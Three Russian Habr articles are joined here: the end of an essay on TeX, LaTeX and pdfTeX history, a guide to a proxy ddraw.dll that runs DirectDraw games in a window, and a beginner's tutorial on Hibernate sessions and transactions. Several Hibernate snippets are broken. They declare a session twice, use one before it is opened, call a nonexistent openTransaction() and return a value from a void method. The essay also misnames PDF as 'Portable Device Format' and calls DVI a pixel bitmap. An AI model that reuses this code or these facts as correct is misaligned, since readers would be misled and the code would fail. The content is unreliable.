Даже несмотря на то, что сам TeX застыл на версии 3, это не остановило умных людей от поиска лучших способов его использования. TeX 3 был невероятно хорош в наборе, но его пользователям нужно было пройти нетривиальную кривую обучения, чтобы освоить все его возможности, особенно для сложных документов и книг. В 1985 году Лесли Лэмпорт создал LaTeX («ла-тек» или «лэй-тек»), чтобы ещё сильнее облегчить этап ввода в процессе работы с TeX. В 1990-х годах LaTeX стал чрезвычайно популярен в академических кругах, и текущая версия (изначально выпущенная в 1994 году) по-прежнему остаётся той «стороной» TeX, которую видит сегодня большинство пользователей TeX.
В сущности, LaTeX — это сборник макросов TeX, делающий создание *содержимого* документа TeX более эффективным, и превращающий необходимые команды в более краткие. Благодаря этому LaTeX сделал TeX ещё ближе к идеалу человекочитаемого исходного содержимого, позволив автору сосредоточиться на критично важной задаче создания содержимого *до того*, как приступить к внешнему виду выходных данных.
LaTeX улучшил визуальное представление математического синтаксиса, добавив такие новые команды, как `\frac`, позволяющая более удобно разделить делитель и делимое дроби. Поэтому с помощью LaTeX предыдущее уравнение можно переписать в таком виде:
```
$y = \sqrt{x} + \frac{x - 1}{2}$
```
Также LaTeX добавил множество макросов, упрощающих набор очень больших документов и книг. Например, в LaTeX есть встроенные команды `\chapter`, `\section`, `\subsection`, и даже `\subsubsection` с заданным (но широко настраиваемым) форматированием. Подобные команды позволяют обычному пользователю LaTeX избежать работы непосредственно с так называемыми «примитивами» в TeX. Фактически, пользователь даёт команды LaTeX, а LaTeX отдаёт команды TeX.
Однако самой мощной возможностью LaTeX из всех являлась его расширяемость с помощью пакетов, разработанных активной базой «суперпользователей». Сегодня существуют тысячи пакетов LaTeX и большинство идёт в комплекте с современными сборками TeX например, с TeX Live. Существует множество пакетов LaTeX, добавляющих и расширяющих любой вообразимый аспект дизайна документов и книг — от математических расширений, содержащих весь существующий математический синтаксис (даже статистический), до специальных стилей документов и мощных пакетов векторной графики наподобие [PGF/TiKZ](https://en.wikipedia.org/wiki/PGF/TikZ). Есть даже специальный класс документов под названием Beamer, генерирующий из LaTeX слайды презентации вместе с переходами.
*Трёхмерное векторное изображение, созданное с помощью PGF/TiKZ*
Все эти пакеты совместно со стабильной кодовой базой TeX делают LaTeX непревзойдённой системой подготовки и издания документов. Несмотря на популярность с 1990-х годов текстовых WYSIWYG-процессоров Microsoft Word, они не могут приблизиться к мощи LaTeX и изящности его выходных результатов.
Стоит заметить, что LaTeX — не единственный слой макросов, имеющийся для TeX. В [ConTeXt](https://en.wikipedia.org/wiki/ConTeXt) и других пакетах есть собственный уникальный синтаксис для достижения тех же целей.
Не только печать на бумаге
--------------------------
Как бы ни был сложен TeX, он выполняет ту же роль, что и шрифтолитейные и наборные станки со времён Гутенберга: задача TeX заключается в том, чтобы сообщать принтеру, как наносить чернила на бумагу. Начиная с TeX82, это выполнялось с помощью специального формата файлов DVI (device independent format), созданного Кнутом. Хотя файл TeX был человекочитаемым, DVI мог считывать только принтер: в сущности, это битовая матрица, сообщающая принтеру, какие пиксели должны быть чёрными, а какие — оставаться белыми.
Даже несмотря на то, что компьютеры начали радикально изменять типографскую область ещё с 1970-х годов, бумага оставалась основным носителем информации, который читали люди до конца двадцатого века. Но всё начало безвозвратно меняться в 1990-х. Экраны компьютеров становились лучше и их появлялось всё больше. Интернет тоже как ничто иное облегчил передачу информации между компьютерами. Было вполне естественно, что люди начали не только «вычислять» на компьютерных экранах, но и всё больше и больше *читать* с них.
В 1993 году Adobe выпустила новый формат Portable Device Format (PDF), чтобы облегчить чтение кроссплатформенных цифровых документов. В сущности, PDF был упрощённой версией популярного печатного формата для настольных компьютеров PostScript, но в отличие от PostScript, PDF предназначен для более удобного чтения с экрана.
Почти до конца 1990-х PDF был неизвестен большинству людей. Это был проприетарный формат, который не только требовал для создания файлов вложения в покупку Adobe Acrobat нескольких тысяч долларов, но и приобретения за 50 долларов программы чтения Adobe Acrobat Reader. Позже Adobe сделала Acrobat Reader бесплатным, но проприетарная природа PDF и относительно ограниченная скорость подключения к Интернету в начале 1990-х не давали развиться среде для PDF.
Однако к концу 1990-х, на PDF обратил внимание студент магистратуры Хан Тхе Тхань, который захотел издать свою дипломную работу и докторскую диссертацию непосредственно в PDF. Тхань воспользовался своими знаниями в микротипографии для создания [pdfTeX](https://ru.wikipedia.org/wiki/PdfTeX), версии TeX, способной преобразовывать файлы TeX напрямую в PDF без создания файла DVI.
pdfTeX сохранил все превосходные типографические возможности TeX, а также добавил несколько микротипографических функций, которые можно было использовать через LaTeX — пакет [`microtype`](https://ctan.org/pkg/microtype). Микротипография работает с более тонкими аспектами типографики, в том числе с вдохновлёнными Гутенбергом способами оптимизации выравнивания строк — например, с использованием нескольких вариантов одного глифа и техник висячей пунктуации.
Также pdfTeX освоил цифровые возможности PDF, например, гиперссылки и структуры оглавлений. С продолжением роста широкой популярности PDF в 2000-х и после [открытия](https://blogs.adobe.com/conversations/2015/06/who-created-pdf.html) компанией Adobe в 2007 году стандарта PDF Международной организации по стандартизации, pdfTeX стал важной версией TeX. Сегодня он по умолчанию включается во все стандартные пакеты TeX вместе с pdfLaTeX, который интерпретирует файлы LaTeX для программы pdfTeX.
Стоит понять, что Дональд Кнут не создавал TeX для ускорения процесса издания. Он хотел имитировать внешний вид монотипа с помощью математики. Но с развитием LaTeX, pdfTeX и Интернета TeX превратился в то, о чём и подумать не могли люди, до 1970-х годов неделями ожидавшие получения своих гранок по почте. Сегодня благодаря TeX и современным способам связи мы можем публиковать чрезвычайно сложные документы для практически неограниченной аудитории всего за несколько секунд.
Следующая инновация в типографии: замедление
--------------------------------------------
Мне кажется, многие считают, что чистая математика является полной противоположностью искусству. «Левое полушарие против правого полушария», если вам угодно. На самом деле я думаю, что роль математики в человеческом опыте требует столько же искусства, сколько и логического мышления: логика — для выведения математических истин нашей Вселенной, и искусство — для распространения знания об этих истинах по Вселенной.
Как писал Джордж Джонсон в *Fire in the Mind*:
> … числа, уравнения и физические законы не являются ни эфемерными объектами в платоновских «смутных тенях», ни культурными изобретениями наподобие шахмат, а просто сжатыми паттернами информации, создаваемыми контактирующим с миром наблюдателем… Законы физики — это сжатые изложения, сделанные собирателями информации. Они хранятся в виде пометок — в книгах, на магнитных лентах, в мозге. Они — часть физического мира.
Наша способоность описывать Вселенную значительно расширилась с тех пор, когда доисторические люди впервые смешали физический мир со своими мыслями на стенах пещер. На протяжении большей части зафиксированной истории письмо означало передачу мыслей с помощью свинца, чернил и бумаги. В искусстве доцифрового набора участвовало неисчислимое количество квалифицированных профессионалов. Даже несмотря на то, что их навыки из-за эволюции технологий устарели, мы можем быть благодарны таким людям, как Дональд Кнут, запечатлевшим искусство типографии в неподвластной времени математике.
И мы находимся здесь — во времени, когда письменные тексты требуют для передачи другим человеческим существам только субатомных ингредиентов вроде электричества и света. Наша способность «публиковать» собственные мысли почти мгновенна, наша аудитория стала всемирной, если не *всеобъемлющей*, ведь мы распространяем квантовые обломки и в космос.
Сегодня ускорение публикации перестало быть интересной задачей. Это уравнение уже решено — его уже никак не упростить.
Как и со многими другими аспектами современной жизни, технология вынудила инвертировать наше полученное при эволюции поведение. Например, чтобы быть физиологически здоровыми, нам нужно обуздывать наши инстинкты, стремящиеся больше есть и отдыхать. Что касается издательства, то сегодня мы встретились с задачей установки *бОльших ограничений* перед процессом публикации ради более лаконичного изложения и долговечности наших мыслей.
Я считаю, что на этом этапе понимание истории печати и типографии превратилось в своего рода познавательный ресурс. Осознав это, я немного сильнее стал противиться автоматизации и с большей благосклонностью начал относиться к трениям в процессах творчества, необходимых даже при написании технических трудов. Это также помогло мне обосновать необходимость тратить *больше*, а не меньше времени на художественное конструирование математических формул и представление количественной информации в целом.
Технологическая инновация в общем понимании не поможет нам снова замедлить процесс публикации. Замедление требует улучшенной технологии *мышления*. Оно требует стремления к написанию предварительных черновиков, а не к публикации черновых работ. Оно требует отбрасывания большинства наших мыслей, потому что по большей части они не заслуживают чтения другими людьми. Большинство мыслей являются *отвлечениями* — чувственными уловками мозга, вводящими нас в заблуждение, будто нас интересует то, что на самом деле *не*интересно, или что мы понимаем то, что на самом деле нам непонятно.
Вместо того, чтобы ещё больше сжимать рабочий процесс, нам нужно снова вернуть искусство письменного выражения в процесс мышления, написания и публикации. Последнего добиться сложнее всего — публикации заслуживают только самые чистые наши мысли и заключения.
1. TeX произносится как «тек», это английское отображение греческих букв τεχ, которые являются аббревиатурой от τέχνη (или technē). «Техне» — это древнегреческое понятие, которое может означать «искусство» или «ремесло», но обычно в контексте практического применения.
2. Одним из заслуживающих упоминания предшественников TeX был [`eqn`](https://ru.wikipedia.org/wiki/EQN), синтаксис, разработанный для форматирования уравнений при печати в [`troff`](https://en.wikipedia.org/wiki/Troff), которая была системой, разработанной AT&T Corporation для Unix в середине 60-х. Синтаксис `eqn` для математической записи имел схожие с TeX черты, из-за чего некоторые утверждали, что `eqn` повлиял на Кнута при разработке его TeX. Мы знаем, что Кнуту было известно о `troff` достаточно, чтобы составить о нём своё мнение, и оно было не слишком хорошим. Подробнее см. на стр. 349 [TUGBoat, Vol. 17 (1996), No. 4](http://tug.org/TUGboat/tb17-4/tb53knun.pdf). Благодарю Данкана Эгню за то, что обратил моё внимание на `troff` и подсказал, что позже он был заменён на [`groff`](https://en.wikipedia.org/wiki/Groff_(software)), который пишет PostScript и включён в современные системы на основе Unix (даже в macOS). Его можно найти через страницы man. Примечательно то, что он по-прежнему может воспринимать синтаксис на основе `troff`, разработанный в 70-х, и набирать его без малейших изменений.
3. Философия Кнута заключается в том, что компьютерный код должен быть как можно более человекочитаемым и самодокументируемым, что привело его к разработке [грамотного программирования](https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D0%BC%D0%BE%D1%82%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) — поворотного вклада в компьютерное программирование, которое повлияло на все популярные современные языки программирования. | https://habr.com/ru/post/371031/ | null | ru | null |
# Создание прокси-dll для запуска DirectDraw игр в окне
В продолжение темы [расширения функциональности готовых программ](http://habrahabr.ru/blogs/asm/51857/) хотелось бы рассказать об ещё одном способе изменения логики работы уже скомпилированной программы, который не требует делать изменений в самом исполняемом файле. Это может пригодиться при распространении вашей модификации в США, где прямое вмешательство в исполняемый файл строго осуждается. Речь пойдёт о создании крошечной прокси-dll (всего ≈4 килобайта) для подмены используемой приложением библиотеки на примере ddraw.dll.
#### Приступим
Вся работа будет проводиться в Visual Studio 2010. Для начала исследуем целевую библиотеку на предмет экспортируемых функций. Для этого воспользуемся утилитой dumpbin (в каталоге VS2010\VC\bin):
```
vcvars32
dumpbin /EXPORTS c:\windows\system32\ddraw.dll
```
В результате получим:
```
ordinal hint RVA name
1 0 00002E69 AcquireDDThreadLock
2 1 000327FA CompleteCreateSysmemSurface
3 2 00032FAE D3DParseUnknownCommand
4 3 00033EEF DDGetAttachedSurfaceLcl
5 4 000325D7 DDInternalLock
6 5 0003258C DDInternalUnlock
7 6 000363FC DSoundHelp
8 7 0000859D DirectDrawCreate
9 8 00037851 DirectDrawCreateClipper
10 9 0000EBC6 DirectDrawCreateEx
11 A 000338C9 DirectDrawEnumerateA
12 B 00033368 DirectDrawEnumerateExA
13 C 00032CB2 DirectDrawEnumerateExW
14 D 0003333B DirectDrawEnumerateW
15 E 000387C1 DllCanUnloadNow
16 F 00038607 DllGetClassObject
17 10 00032675 GetDDSurfaceLocal
18 11 0003A5F9 GetOLEThunkData
19 12 0000E927 GetSurfaceFromDC
20 13 00027CC4 RegisterSpecialCase
21 14 00002EA8 ReleaseDDThreadLock
22 15 000421A6 SetAppCompatData
```
На основании этого мы уже можем создавать свою прокси-dll. Поскольку ничего кроме WinAPI нам не нужно, поэтому в свежем проекте win32-библиотеки первым делом отключим RTL, включив параметр [`/NODEFAULTLIB`](http://msdn.microsoft.com/en-us/library/3tz4da4a%28v=vs.100%29.aspx) и указав точку входа `DllMain`. Это позволит сильно выиграть в объёме. Далее в DEF файле укажем экспортируемые функции в следующем виде:
```
LIBRARY "ddraw"
EXPORTS
AcquireDDThreadLock = FakeAcquireDDThreadLock @1
CheckFullscreen = FakeCheckFullscreen @2
CompleteCreateSysmemSurface = FakeCompleteCreateSysmemSurface @3
D3DParseUnknownCommand = FakeD3DParseUnknownCommand @4
...
```
Поскольку нам необходимо добиться, чтобы наши «фейковые» функции просто передавали управление своим оригиналам, в C++ объявление каждой из них будет выглядеть так:
```
__declspec(naked) void FakeAcquireDDThreadLock()
{
_asm { jmp [ddraw.AcquireDDThreadLock] }
}
```
Используя `__declspec(naked)` мы заставляем компилятор не генерировать код стандартного пролога и эпилога, которые вставляют данные в стек. Как результат — данные в стеке хранятся уже в подходящем виде, и мы можем просто передать управление оригинальной функции одной командой `jmp` без повторной передачи параметров в стек.
Адрес для перехода берётся из структуры ddraw, которая выглядит следующим образом:
```
struct ddraw_dll
{
HMODULE dll;
FARPROC AcquireDDThreadLock;
FARPROC CheckFullscreen;
FARPROC CompleteCreateSysmemSurface;
FARPROC D3DParseUnknownCommand;
// ... аналогично объявляются другие функции ...
} ddraw;
```
Эта структура заполняется в DllMain в момент загрузки нашей прокси-dll. Сперва мы загружаем оригинальную библиотеку, затем по очереди получаем адреса всех экспортируемых функций. Код будет выглядеть примерно так:
```
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
char path[MAX_PATH];
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CopyMemory(path+GetSystemDirectory(path,MAX_PATH-10), "\\ddraw.dll",11);
ddraw.dll = LoadLibrary(path);
if (ddraw.dll == false)
{
MessageBox(0, "Cannot load original ddraw.dll library", APP_NAME, MB_ICONERROR);
ExitProcess(0);
}
ddraw.AcquireDDThreadLock = GetProcAddress(ddraw.dll, "AcquireDDThreadLock");
ddraw.CheckFullscreen = GetProcAddress(ddraw.dll, "CheckFullscreen");
ddraw.CompleteCreateSysmemSurface = GetProcAddress(ddraw.dll, "CompleteCreateSysmemSurface");
ddraw.D3DParseUnknownCommand = GetProcAddress(ddraw.dll, "D3DParseUnknownCommand");
// ... аналогичные вызовы для других экспортируемых функций ...
break;
case DLL_PROCESS_DETACH:
FreeLibrary(ddraw.dll);
break;
}
return TRUE;
}
```
В результате мы получили компактную dll, которая просто пропускает через себя все вызовы, совершенно не вмешиваясь в процесс. Похожего результата можно было бы добиться с использованием [автоматического решения](http://www.codeproject.com/Articles/16541/Create-your-Proxy-DLLs-automatically), но код получился бы не таким красивым.
#### Оконный режим для DirectDraw игр
После того, как мы получили чистую прокси-dll, которая успешно работает с целевым приложением, мы можем приступить к необходимым модификациям. В момент загрузки нашей библиотеки мы можем пропатчить необходимые участки кода уже в памяти, установить хуки на вызовы из других библиотек, а также изменить логику работы тех функций, что мы проксируем в своей dll. В нашем случае наиболее логичным было бы изменить функцию [`DirectDrawCreate`](http://msdn.microsoft.com/en-us/library/windows/desktop/gg426116%28v=vs.85%29.aspx) таким образом, чтобы она возвращала структуру IDirectDraw с подменёнными адресами методов, поведение которых мы хотели бы изменить для достижения конечной цели.
Однако, это слишком большой объём работы для демонстрационной работы, и поэтому мы просто воспользуемся услугами библиотеки wndmode.dll из предыдущей статьи, которая уже реализует всё необходимое, достаточно лишь только подгрузить её в адресное пространство процесса.
Сделаем это прямо в `DllMain`, добавив в `case DLL_PROCESS_ATTACH` одну строку:
```
LoadLibrary("wndmode.dll");
```
Остальные изменения на ваш вкус :)
#### Библиотека wndmode.dll
Эта библиотека занимается тем, что перехватывает все вызовы DirectDraw, изменяет параметры таким образом, чтобы программа работала в окне, и только после этого передаёт управление оригинальным функциям DirectDraw.
Сам по себе wndmode.dll является сильно модифицированной версией библиотеки d3dhook.dll, где реализовано:
* Полная независимость от программы D3D Windower
* Настройки загружаются из секции [WINDOWMODE] файла wndmode.ini
* Настройки по умолчанию заменены для совместимости с Genie
* Добавлен параметр Border, который включает/выключает рамку вокруг окна
* Если игровое разрешение равно системному, автоматически убирается рамка
То есть при помощи wndmode.dll мы можем попробовать практически любую DirectDraw игру сделать оконной.
В wndmode.ini могут содержаться следующие настройки:
```
[WINDOWMODE]
UseWindowMode=1
UseGDI=0
UseDirect3D=0
UseDirectInput=0
UseDirectDraw=1
UseDDrawColorEmulate=1
UseDDrawFlipBlt=0
UseDDrawColorConvert=1
UseDDrawPrimaryBlt=1
UseDDrawAutoBlt=0
UseDDrawEmulate=0
UseDDrawPrimaryLost=0
UseCursorMsg=0
UseCursorSet=0
UseCursorGet=0
UseSpeedHack=0
SpeedHackMultiple=10
UseBackgroundResize=0
UseForegroundControl=0
UseFGCGetActiveWindow=0
UseFGCGetForegroundWindow=0
UseFGCFixedWindowPosition=0
EnableExtraKey=0
ShowFps=0
UseCursorClip=0
UseBackgroundPriority=0
DDrawBltWait=-1
Border=1
```
Большинство опций совпадает с [D3D Windower](http://www.geocities.jp/menopem/). Были удалены параметры Height и Width, которые фиксировали размеры окна, а вместо этого добавлен параметр Border (отображать или нет рамку окна) и реализовано автоматическое сокрытие рамки, если разрешение игры совпадает с системным разрешением. Подходящие настройки для каждой игры будут разные, их придётся подбирать вручную.
#### Скачать
**Исходный код:** [на bitbucket.org](https://bitbucket.org/veg/tinyddraw/src)
**Бинарники:** [wndmode.zip](https://veg.by/files/habr/wndmode.zip) (340 кб)
#### Демо: Age of Empires: The Rise of Rome
Копируем наш ddraw.dll, wndmode.dll и wndmode.ini в каталог с игрой, запускаем игру. Барабанная дробь…
 | https://habr.com/ru/post/133956/ | null | ru | null |
# Hibernate. Основные принципы работы с сессиями и транзакциями
В моей первой статье на Хабре я хотел бы поделиться некоторыми соображениями и замечаниями по работе с Hibernate, касающихся сессий и транзакций. Я остановился на некоторых нюансах, которые возникают при начале освоения этой темы. Признаюсь, сам пока Junior-программист, с Hibernate работал не постоянно, поэтому, ~~как всегда~~, возможны ошибки, коль заметите оные, буду благодарен за поправки.
Библиотека Hibernate является самой популярной ORM-билиотекой и реализацией Java Persistence API. Часто используется как ORM-провайдер в обычных Java-приложениях, контейнерах сервлетов, в частности, в сервере приложений JBoss (и его потомке WildFly).
Начнём, пожалуй.
##### 1). Объекты-сущности (Entity Objects)
Рассмотрим две сущности — пользователя и его задачи:
```
CREATE TABLE "user"
(
user_id serial NOT NULL,
login character varying(10),
password character varying(10),
role integer,
name character varying(20) NOT NULL,
CONSTRAINT user_pkey PRIMARY KEY (user_id)
)
CREATE TABLE task
(
task_id serial NOT NULL,
user_id bigint,
task_date date,
name character varying(20),
definition character varying(200),
CONSTRAINT tasks_pkey PRIMARY KEY (task_id),
CONSTRAINT fk_user FOREIGN KEY (user_id)
REFERENCES "user" (user_id) MATCH SIMPLE
ON UPDATE NO ACTION ON DELETE NO ACTION
)
```
Теперь приведём классы-сущности для этих таблиц:
```
@Entity
@Table(name = "user", schema = "public")
public class User {
private Long userId;
private String name;
private String login;
private String password;
private Integer role;
private List tasks;
@Id
@SequenceGenerator(name = "user\_seq", sequenceName = "user\_user\_id\_seq", allocationSize = 0)
@GeneratedValue(strategy = GenerationType.SEQUENCE, generator = "user\_seq")
@Column(name = "user\_id")
public Long getUserId() {
return userId;
}
public void setUserId(Long userId) {
this.userId = userId;
}
@OneToMany(fetch = FetchType.LAZY, mappedBy = "user", cascade = CascadeType.ALL)
public List getTasks() {
return tasks;
}
public void setTasks(List tasks) {
this.tasks = tasks;
}
@Column(name = "name")
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
@Column(name = "login")
public String getLogin() {
return login;
}
public void setLogin(String login) {
this.login = login;
}
@Column(name = "password")
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
}
@Entity
@Table(name = "task", schema = "public")
public class Task {
private Long taskId;
private User user;
private Date taskDate;
private String name;
private String definition;
private Priority priority;
private Type type;
@Id
@SequenceGenerator(name = "tasks\_seq", sequenceName = "tasks\_task\_id\_seq", allocationSize = 0)
@GeneratedValue(strategy = GenerationType.SEQUENCE, generator = "tasks\_seq")
@Column(name = "task\_id", unique = true, nullable = false)
public Long getTaskId() {
return taskId;
}
public void setTaskId(Long taskId) {
this.taskId = taskId;
}
@ManyToOne(fetch = FetchType.LAZY, cascade = CascadeType.ALL)
@JoinColumn(name = "user\_id")
public User getUser() {
return user;
}
public void setUser(User user) {
this.user = user;
}
@Column(name = "task\_date")
public Date getTaskDate() {
return taskDate;
}
public void setTaskDate(Date taskDate) {
this.taskDate = taskDate;
}
@Column(name = "name")
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
@Column(name = "definition")
public String getDefinition() {
return definition;
}
public void setDefinition(String definition) {
this.definition = definition;
}
}
```
Об аннотациях JPA можно прочитать [здесь](https://docs.oracle.com/javaee/7/api/javax/persistence/package-summary.html).
##### 2). Интерфейс Session
В Hibernate работа с БД осуществляется через объект типа *org.hibernate.Session*.
Выдержка из документации:
> The main runtime interface between a Java application and Hibernate. This is the central API class abstracting the notion of a persistence service.
>
> The lifecycle of a Session is bounded by the beginning and end of a logical transaction. (Long transactions might span several database transactions.)
>
> The main function of the Session is to offer create, read and delete operations for instances of mapped entity classes.
>
>
Интерфейс *org.hibernate.Session* является мостом между приложением и Hibernate. С помощью сессий выполняются все CRUD-операции с *объектами-сущностями*. Объект типа *Session* получают из экземпляра типа *org.hibernate.SessionFactory*, который должен присутствовать в приложении в виде *singleton*.
##### 3). Состояния объектов
Объект-сущность может находиться в одном из 3-х состояний (статусов):
* *transient object*. Объекты в данном статусе — это заполненные экземпляры классов-сущностей. Могут быть сохранены в БД. Не присоединены к сессии. Поле *Id* не должно быть заполнено, иначе объект имеет статус *detached* ;
* *persistent object*. Объект в данном статусе — так называемая хранимая сущность, которая присоединена к конкретной сессии. Только в этом статусе объект взаимодействует с базой данных. При работе с объектом данного типа в рамках транзакции все изменения объекта записываются в базу;
* *detached object*. Объект в данном статусе — это объект, отсоединённый от сессии, может существовать или не существовать в БД.
Любой объект-сущность можно переводить из одного статуса в другой. Для этого в интерфейсе *Session* существуют следующие методы:
* *persist(Object)* — преобразует объект из *transient* в *persistent*, то есть присоединяет к сессии и сохраняет в БД. Однако, если мы присвоим значение полю *Id* объекта, то получим *PersistentObjectException* — Hibernate посчитает, что объект *detached*, т. е. существует в БД. При сохранении метод *persist()* сразу выполняет *insert*, не делая *select*.
* *merge(Object)* — преобразует объект из *transient* или *detached* в *persistent*. Если из *transient*, то работает аналогично *persist()* (генерирует для объекта новый *Id*, даже если он задан), если из *detached* — загружает объект из БД, присоединяет к сессии, а при сохранении выполняет запрос *update*
* *replicate(Object, ReplicationMode)* — преобразует объект из *detached* в *persistent*, при этом у объекта обязательно должен быть заранее установлен *Id*. Данный метод предназначен для сохранения в БД объекта с заданным *Id*, чего не позволяют сделать *persist()* и *merge()*. Если объект с данным *Id* уже существует в БД, то поведение определяется согласно правилу из перечисления *org.hibernate.ReplicationMode*:
*ReplicationMode.IGNORE* — ничего не меняется в базе.
*ReplicationMode.OVERWRITE* — объект сохраняется в базу вместо существующего.
*ReplicationMode.LATEST\_VERSION* — в базе сохраняется объект с последней версией.
*ReplicationMode.EXCEPTION* — генерирует исключение.
* *delete(Object)* — удаляет объект из БД, иными словами, преобразует *persistent* в *transient*. *Object* может быть в любом статусе, главное, чтобы был установлен *Id*.
* *save(Object)* — сохраняет объект в БД, генерируя новый *Id*, даже если он установлен. *Object* может быть в статусе *transient* или *detached*
* *update(Object)* — обновляет объект в БД, преобразуя его в *persistent* (*Object* в статусе *detached*)
* *saveOrUpdate(Object)* — вызывает *save()* или *update()*
* *refresh(Object)* — обновляет *detached*-объект, выполнив *select* к БД, и преобразует его в *persistent*
* *get(Object.class, id)* — получает из БД объект класса-сущности с определённым *Id* в статусе *persistent*
Объект *Session* кэширует у себя загруженные объекты; при загрузке объекта из БД в первую очередь проверяется кэш. Для того, чтобы удалить объект из кэша и отсоединить от сессии, используется *session.evict(Object)*. Метод *session.clear()* применит *evict()* ко всем объектам в сессии.
А теперь обратим внимание на аннотации *@OneToMany* и *@ManyToOne* в классах-сущностях. Параметр *fetch* в *@OneToMany* обозначает, когда загружать дочерние объекты. Может иметь одно из двух значений, указанных в перечислении *javax.persistence.FetchType*:
*FetchType.EAGER* — загружать коллекцию дочерних объектов сразу же, при загрузке родительских объектов.
*FetchType.LAZY* — загружать коллекцию дочерних объектов при первом обращении к ней (вызове *get*) — так называемая отложенная загрузка.
Параметр *cascade* обозначает, какие из методов интерфейса *Session* будут распространяться каскадно к ассоциированным сущностям. Например, в классе-сущности *User* для коллекции *tasks* укажем:
```
@OneToMany(fetch = FetchType.LAZY, mappedBy = "user", cascade = {CascadeType.PERSIST, CascadeType.MERGE})
public List getTasks() {
return tasks;
}
public void setTasks(List tasks) {
this.tasks = tasks;
}
```
Тогда при выполнении *session.persist(user)* или *session.merge(user)* операции *persist* или *merge* будут применены ко всем объектам из *tasks*. Аналогично для остальных операций из перечисления *javax.persistence.CascadeType*. *CascadeType.ALL* применяет все операции из перечисления. Необходимо правильно настроить *CascadeType*, дабы не подгружать из базы кучу лишних ассоциированных объектов-сущностей.
##### 4). Извлечение объектов из БД
Приведём простой пример:
```
@Autowired
private SessionFactory sessionFactory
public void getTasks(Long userId) {
...
Session session = sessionFactory.openSession();
User user = (User) session.load(User.class, userId);
Session session = sessionFactory.openSession();
List tasksList = user.getTasks();
...
}
```
Вместо метода *session.get()* можно использовать *session.load()*. Метод *session.load()* возвращает так называемый *proxy-object*. *Proxy-object* — это объект-посредник, через который мы можем взаимодействовать с реальным объектом в БД. Он расширяет функционал объекта-сущности. Взаимодействие с *proxy-object* полностью аналогично взаимодействию с объектом-сущностью. *Proxy-object* отличается от объекта-сущности тем, что при создании *proxy-object* не выполняется ни одного запроса к БД, т. е. Hibernate просто верит нам, что объект с данным *Id* существует в БД. Однако первый вызванный *get* или *set* у *proxy-object* сразу инициирует запрос *select*, и если объекта с данным *Id* нет в базе, то мы получим *ObjectNotFoundException*. Основное предназначение *proxy-object* — реализация отложенной загрузки.
Вызов *user.getTasks()* инициирует загрузку задач юзера из БД, так как в классе *User* для *tasks* установлен *FetchType.LAZY*.
###### LazyInitializationException
С параметром *FetchType.LAZY* нужно быть аккуратнее. Иногда при загрузке ассоциированных сущностей мы можем поймать исключение *LazyInitializationException*. В вышеуказанном коде во время вызова *user.getTasks()* *user* должен быть либо в статусе *persistent*, либо *proxy*.
Также *LazyInitializationException* может вызвать небольшое изменение в нашем коде:
```
public List getTasks(Long userId) {
...
Session session = sessionFactory.openSession();
User user = (User) session.load(User.class, userId);
List tasksList = user.getTasks();
session.close();
return tasksList;
}
```
Здесь теоретически всё верно. Но при попытке обращения к *tasksList* мы МОЖЕМ получить *LazyInitializationException*. Но в дебагере данный код отрабатывает верно. Почему? Потому, что *user.getTasks()* только возвращает ссылку на коллекцию, но не ждёт её загрузки. Не подождав, пока загрузятся данные, мы закрыли сессию. Выход — выполнять в транзакции, т. е.:
```
public List getTasks(Long userId) {
...
User user = (User) session.load(User.class, userId);
Session session = sessionFactory.openSession();
session.beginTransaction();
List tasksList = user.getTasks();
session.getTransaction().commit();
return tasksList;
}
```
###### Выборка с условиями
А теперь приведём несколько простых примеров выборки данных с условиями. Для этого в Hibernate используются объекты типа *org.hibernate.Criteria*:
```
public List getUser(String login) {
...
Session session = sessionFactory.openSession();
Criteria userCriteria = session.createCriteria(User.class);
userCriteria.add(Restrictions.eq("login", login));
user = (User) userCriteria.uniqueResult();
session.close();
...
}
```
Здесь понятно, что мы выполняем *select \* from user where login='login'*. В метод *add* мы передаём объект типа *Criterion*, представляющий определённый критерий выборки. Класс *org.hibernate.criterion.Restrictions* предоставляет множество различных видов критериев. Параметр «login» обозначает название свойства класса-сущности, а не поля в таблице БД.
Приведём ещё пару примеров:
а).
```
public List getTasksByName(String name) {
...
session = sessionFactory.openSession();
Criteria criteria = session.createCriteria(Task.class);
List tasks = criteria.add(Restrictions.like("name", name, MatchMode.ANYWHERE)).list();
...
}
```
Здесь мы выбираем по содержимому свойства *name* класса-сущности *Task*. *MatchMode.ANYWHERE* означает, что нужно искать подстроку *name* в любом месте свойства *«name»*.
б).
А здесь мы получаем 50 строк, начиная с 20-го номера в таблице.
```
public List getTasks() {
...
Session session = sessionFactory.openSession();
Criteria criteria = session.createCriteria(Task.class);
List tasks = criteria.setFirstResult(20).setMaxResults(50).list();
...
}
```
##### 5). Сохранение объектов
Давайте разберём несколько способов сохранения объекта-сущности в базу данных.
а). Создаём *transient-object* и сохраняем в базу:
```
@Autowired
private UserDao userDao;
@Autowired
private SessionFactory sessionFactory;
public void saveUser(String login) {
User user = userDao.getUserByLogin(login);
Session session = sessionFactory.openSession();
session.openTransaction();
Task task = new Task();
task.setName("Задача 1");
task.setDefinition("Задача 1");
task.setTaskDate(new Date());
task.setUser(user);
session.saveOrUpdate(task);
session.flush();
session.getTransaction().commit();
return task.getTaskId();
}
```
Отметим несколько нюансов. Во-первых, сохранение в БД можно производить только в рамках транзакции. Вызов *session.openTransaction()* открывает для данной сессии новую транзакцию, а *session.getTransaction().commit()* её выполняет. Во-вторых, в метод *task.setUser(user)* мы передаём *user* в статусе *detached*. Можно передать и в статусе *persistent*.
Данный код выполнит (не считая получения *user*) 2 запроса — *select nextval('task\_task\_id\_seq')* и *insert into task...*
Вместо *saveOrUpdate()* можно выполнить *save()*, *persist()*, *merge()* — будет также 2 запроса. Вызов *session.flush()* применяет все изменения к БД, но, если честно, этот вызов здесь бесполезен, так как ничего не сохраняется в БД до *commit()*, который сам вызовет *flush()*.
